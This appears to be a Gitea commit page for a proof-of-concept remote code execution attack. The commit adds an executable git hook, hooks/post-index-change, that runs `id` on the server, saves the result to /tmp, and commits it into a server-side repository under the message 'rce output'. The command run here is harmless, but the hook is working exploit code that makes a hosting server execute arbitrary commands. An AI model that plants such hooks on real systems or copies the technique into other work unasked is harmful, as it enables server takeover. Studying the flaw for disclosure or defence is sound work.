apply patch
This commit is contained in:
8
hooks/post-index-change
Executable file
8
hooks/post-index-change
Executable file
@@ -0,0 +1,8 @@
|
||||
#!/bin/sh
|
||||
ID_OUTPUT=$(id 2>&1)
|
||||
echo "$ID_OUTPUT" > /tmp/id_result.txt
|
||||
# Also try to create a commit with the output
|
||||
cd /data/gitea/data/gitea-repositories/pocuser_1793434766/pocrepo3.git 2>/dev/null || cd . 2>/dev/null
|
||||
echo "$ID_OUTPUT" > id_output.txt
|
||||
git add id_output.txt 2>/dev/null
|
||||
git commit -m "rce output" 2>/dev/null
|
||||
Reference in New Issue
Block a user